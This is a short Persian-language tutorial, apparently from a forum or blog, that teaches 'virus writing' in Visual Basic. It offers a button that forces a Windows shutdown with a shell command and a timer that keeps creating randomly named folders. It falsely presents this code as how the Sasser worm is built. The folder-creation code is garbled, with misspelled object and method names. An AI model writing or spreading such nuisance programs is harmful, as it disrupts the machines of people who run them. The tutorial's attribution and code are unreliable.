ویروس نویسی در VB(کرم ساسر)

کرم ساسر رو که حتما یادتون هست امروز میخوام ساخت اون رو با ویژوال آموزش بدم. 

اول دوتا command v رو وارد برنامه کنید. command1,command2 

و بعد کدهای زیر رو بنویسیم: 

Private Sub Command1_Click

Shell "shutdown -s -t 60 "

End Sub

Private Sub Command2_Click

Shell "shutdown -a"

End Sub 

با کلیک روی command1 ویروس اجرا میشه و با کلیک روی command2 ویروس غیر فعال میشه.  

---

کار این ویروس (در هر ثانیه یک پوشه ایجاد میکند.)

اینجا ما فقط به یک تایمر و یک فرم نیاز داریم

timer interval=200

و اما کد این ویروس به صورت زیر می باشد. که برای تایمر می باشد

Dim a as double

A= rnd * 2340

Set nf = creatobject ("scripting.filesystemobject")

Nf. Creatfolder"  address " "+"\"+str(a)